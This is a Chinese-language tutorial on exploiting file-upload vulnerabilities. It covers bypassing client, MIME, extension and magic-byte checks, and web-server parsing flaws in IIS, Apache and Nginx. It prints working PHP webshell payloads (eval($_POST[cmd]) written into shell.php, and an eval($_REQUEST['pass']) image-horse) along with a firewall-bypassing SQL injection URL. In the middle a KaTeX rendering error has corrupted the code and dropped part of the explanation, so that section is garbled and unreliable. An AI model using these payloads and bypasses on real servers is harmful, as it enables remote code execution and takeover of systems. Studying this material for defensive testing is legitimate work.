文件上传

文件上传

原理
在网站运营过程中，不可避免地要对网站的某些页面或者类容进行更新，这时便需要使用到网站的文件上传的功能。如果不对被上传的文件进行限制或者限制被绕过，该功能便有可能会被利于于上传可执行文件，脚本到服务器上，进而进一步导致服务器沦陷。

常见漏洞分类

文件上传漏洞满足条件
1. 文件上传功能能正常使用
2. 上传文件路径可知
3. 上传文件可以被访问
4. 上传文件可以被执行或被包含
文件上传数据包解析
Content-Length：即上传内容大小
MAX_FILE_SIZE：即上传内容的最大长度
Filename：即上传文件名
Content-Type：即上传文件类型请求包中的乱码字段，即是所上传文件的内容
请求包中的乱码字段，即是所上传文件的内容

文件上传漏洞绕过技巧
1、客户端校验（js检测）：
一般是在网页上写一段Js脚本，用Js去检测，校验上传文件的后缀名的合法性问题。
在检查扩展名是否合法的时候，有两种策略：白名单策略和黑名单策略。
判断方式：在浏览加载文件，但还未点击上传按钮时便弹出对话框，内容如：只允许上传.jpg/.jpeg/.png后缀名的文件，而此时并没有发送数据包，所以可以通过抓包来判断，如果弹出不准上传，但是没有抓到数据包，那么就是前端验证。其实，也可以直接查看网页源代码，源代码中如果没有js前端效验，那么就一定是后端效验喽。
绕过方法：这个限制是在客户端进行的，这种限制形同虚设。传正常文件改数据包就可以绕过，甚至关闭JS都可以尝试绕过。
黑白名单机制：
黑名单：不允许上传什么，文件扩展名在黑名单中的为不合法。
白名单：只允许上传什么，文件扩展名不在白名单中的均为不合法。
白名单比黑名单更安全
2、服务端检测：
检查Content-Type （内容类型）
检查后缀 （检查后缀是主流）
检查文件头
绕过方法：假如将webshell代码文件后缀改为其它被服务器认为是安全的后缀，再通过解析 漏洞让其按照脚本文件进行解析，就达到了最终的目的。
服务端MIME检测绕过（Content-Type检测）
HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE，来识别文件类型，这个动作是由浏览器完成的，服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改，不过加上一层防护也是可以有一定效果的。
绕过方法：使用burp代理，修改Content-Type的参数。
text/plain（纯文本）
text/html（HTML文档）
text/javascript（js代码）
application/xhtml+xml（XHTML文档）
image/gif（GIF图像）
image/jpeg（JPEG图像）
image/png（PNG图像）
video/mpeg（MPEG动画）
application/octet-stream（二进制数据）
application/pdf（PDF文档）
application/(编程语言) 该种语言的代码
application/msword（Microsoft Word文件）
message/rfc822（RFC 822形式）
multipart/alternative（HTML邮件的HTML形式和纯文本形式，相同内容使用不同形式表示）
application/x-www-form-urlencoded（POST方法提交的表单）
multipart/form-data（POST提交时伴随文件上传的表单）
服务端扩展名检测绕过：
在文件被上传到服务端的时候，对于文件名的扩展名进行检查，如果不合法，则拒绝这次上传。在检查扩展名是否合法的时候，有两种策略：黑名单策略和白名单策略。
白名单策略是更加安全的，通过限制上传类型为只有我们接受的类型，可以较好的保证安全，因为黑名单我们可以使用各种方法来进行注入和突破。
绕过方法：
文件名大小写绕过，例如Php，AsP等类似的文件名
后缀名字双写嵌套，例如pphphp，asaspp等
可以利用系统会对一些特殊文件名做默认修改的系统特性绕过
可以利用asp程序中的漏洞，使用截断字符绕过
可以利用不再黑名单列表中却能够成功执行的同义后缀名绕过黑名单的限制。
可以利用解析/包含漏洞配合上传一个代码注入过的白名单文件绕过。
1.老版本的IIS中的目录解析漏洞，如果网站目录中有一个 /.asp/目录，那么此目录下面的一切内容都会被当作asp脚本来解析
2.老板本的IIS中的分号漏洞：IIS在解析文件名的时候可能将分号后面的内容丢弃，那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤，如 a.asp;jpg
3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格，从而使得加上这两个东西可以突破过滤，成功上传，并且被当作php代码来执行
4.nginx空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行
5.apache的解析漏洞，上传如a.php.rar a.php.gif 类型的文件名，可以避免对于php文件的过滤机制，但是由于apache在解析文件名的时候是从右向左读，如果遇到不能识别的扩展名则跳过，rar等扩展名是apache不能识别的，因此就会直接将类型识别为php，从而达到了注入php代码的目的
服务端文件头内容检测绕过：
这种方法利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。可以通过比如php的exif_imagetype()函数来检测。
通过检查头几位字节，可以分辨是否是图片文件。
不同类型的文件都有对应的文件类型签名（也叫类型幻数，简称文件头），比如，PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A；GIF 为 47 49 46 38 37 61、JPG 为 FF D8 FF E0。

通过在文件中添加正常文件的标识或其他关键字符绕过。
给上传脚本加上相应的幻数头字节就可以，php引擎会将 <?之前的内容当作html文本，不解析直接跳过，后面的代码仍然能够得到执行。
其他类型的二进制文件，也有相应的头字节。

文件加载检测绕过，针对渲染加载测试。
代码注入绕过，针对二次渲染测试。
文本编辑器的漏洞
很多网站为了节省开发成本，直接使用现成的文本编辑器，如fckeditor，这种编辑器经常在网上被爆出漏洞，可以对这些漏洞进行利用。
文件解析漏洞
攻击者在利用上传漏洞时，通常会与Web容器的解析漏洞配合在一起。所以我们首先来了解一下解析漏洞，这样才能更深入地了解上传漏洞，并加以防范
常见的Web容器有ⅡS、Apache、Nginx、Tomcat等，下面主要讲IIS、Apache、Nginx容器。
服务器解析漏洞
Apache1.x 2.x解析漏洞
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左解析，直到碰到认识的扩展名为止，如果都不认识，则会暴露其源代码。
这种方法可以绕过基于黑名单的检查。比如test.php.owf.rar。".owf"和".rar" 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
若一个文件名abc.x1.x2.x3，Apache会从x3开始解析，如果x3不是一个能解析的扩展名（mime.types文件里面没有定义的扩展名），就往前解析x2以此往复，直到能遇到一个能解析的文件名为止，如果都不认识就暴露源码。
如果上传的文件名使我们可以定义的，那么我们可以完全上传一个xxx.php.abc这样名字的webshell，Apache仍然会当做PHP来解析。
IIS 5.x/6.0解析漏洞
asa cer cdx 也会被解析
IIS6.0除了将ASP后缀当做ASP进行解析的同时，当文件后缀名字为.asa、 .cer和 .cdx 也会当做asp去解析，这是因为IIS6.0在应用程序扩展中默认设置了.asa、.cer 和 .cdx 都会调用 asp.dll。

IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误，从而造成文件解析漏洞。IIS5.1和IIS7.5无此漏洞。
这一漏洞有两种完全不同的利用方式文件解析和目录解析：
1. 文件解析：分号后面的不被解析
test.asp;1.jpg 或者test.asp;.jpg 他将当做asp进行解析（特殊符号是";"）。
在IIS6.0下，分号后面的不被解析。
应用程序在验证文件后缀的时候是验证文件名最后的字串，如：text.asp;1.jpg，是图片，但是在IIS6.0里解析的时候，是忽略掉分号后面的字串，直接解析为test.asp。
2. 目录解析：在文件夹为.asp和 .asa内的所有文件被当成解析文件解析
test.asp/1.jpg 他将当做asp进行解析（特殊符号是"/"）。
IIS6.0 在解析 asp 时，如果任意目录名为 .asp、.asa 的文件夹，其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
创建目录test.asp，此目录下的文件将被当作asp文件来执行。如果可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。
IIS6.0解析原理：
请求 /test.asp;1.jpg
N1:从头部查找,查找 “.“号,获得 .asp;1.jpg。
N2:查找”;“号,如果有则内存截断。
N3:查找”/”,如果有则内存截断。
最终,将保留下来 .asp 字符串,从META_SCRIPT_MAP脚本映射表里与扩展名匹配对比,并反馈给了asp.dll处理。
IIS7.0/7.5 对php解析有所类似于 Nginx 的解析漏洞。只要对任意文件名在url后面追加上 字符串 / 任意文件名.php 就会按照php去解析。
举个栗子：把一下代码做成图片马text.jpg。
<?php
$a{=}^{\prime }<?php@eval($_REQUEST[‘pass’]); ?>’;
file_put_contents(‘123.php’,KaTeX parse error: Undefined control sequence: \wamp at position 526: …athinfo在本机中位于C:\̲w̲a̲m̲p̲\bin\php\php5.3…fastcgi_script_name会被设置"phpinfo.jpg/1.php"，然后构造成SCRIPT_FILENAME(绝对路径)传递给PHP CGI,如果开启了cgi.fix_pathinfo=1选项（这个默认值就是1，所以没有设置过就是开启），那么就会触发在PHP中的如下逻辑：
PHP会认为SCRIPT_FILENAME(绝对路径)是phpinfo.jpg，而1.php是PATH_INFO，所以就会phpinfo.jpg作为PHP文件来解析了。也是一个逻辑问题，所以说我们只需要在正常的.jpg后面加/.php就可以成功的绕过解析。
解释三：
IIS和Nginx在这一点上是一样的，一看到URL中文件后缀是.php，便无论该文件是否存在，都直接交给php处理，而php又默认开启"cgi.fix_pathinfo"，会对文件路径进行"修理"，何谓"修理"？举个例子，当php遇到文件路径"/aaa.xxx/bbb.yyy/ccc.zzz"时，若"/aaa.xxx/bbb.yyy/ccc.zzz"不存在，则会去掉最后的"/ccc.zzz"，然后判断"/aaa.xxx/bbb.yyy"是否存在，若存在，则把"/aaa.xxx/bbb.yyy"当做文件"/aaa.xxx/bbb.yyy/ccc.zzz"，若"/aaa.xxx/bbb.yyy"仍不存在，则继续去掉"/bbb.yyy"，以此类推。
若有文件test.jpg，访问时在其后加/.php，便可以让IIS把"test.jpg/.php"交给php，php"修理"文件路径"test.jpg/.php"得到"test.jpg"，该文件存在，便把该文件作为php程序执行了
asp没有"cgi.fix_pathinfo"，所以不存在这一问题。
在默认Fast-CGI开启状况下,上传一个名字为xx.jpg，内容为：
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件，然后访问xx.jpg/.php或xxx.jpg/1.php,在这个目录下就会生成一句话木马 shell.php文件。
Nginx <8.03 %00空字节执行php漏洞
Nginx如下版本：
0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
在使用PHP-FastCGI执行php的时候，URL里面在遇到%00空字节时与FastCGI处理不一致，导致可在非php文件中嵌入php代码，通过访问url+%00.php来执行其中的php代码。如：http://local/robots.txt%00.php会把robots.txt文件当作php来执行。
PHP的path_info
Path_info是什么？
Path_info是PHP的一种路由模式，需要PHP.ini中设置cgi.fix_pathinfo=1才能开启该路由模式。该路由模式的URL格式为http://www.xxx.com/index.php/模块/方法。
Path_info的运行机制
Apache容器

那在Apahce容器下，Path_info有什么用呢？
很多防火墙为了提高效率，遇到js,png,jpg等格式的后缀时，则不检测后面参数中是否有非法数据，因此我们可以构造http://www.admintony.com/index.php/aaa.js?id=union select 1,2,3,4来绕过防火墙进行注入，当然也可以绕过防火墙进行代码执行、命令执行等操作
IIS和Nginx容器

在IIS和Nginx容器下，相比Apache少了一步对文件后缀的检测，因此产生了著名的安全问题CGI解析漏洞(也有称Nginx解析漏洞)。
其漏洞的利用方式就是上传一个含Webshell的图片，然后在图片地址后面加上/a.php使图片当作PHP解析。
比如 123.png/1.php,接收URL后，提取URL中请求的文件1.php，发现不存在就检查是否存在上一级目录，存在就把上级目录当做请求文件，再判断文件是否存在，文件123.png存在，然后就把123.png当做PHP解析执行，其中少了再次检测存在文件的后缀名的操作就直接当做请求最开始文件的类型解析了。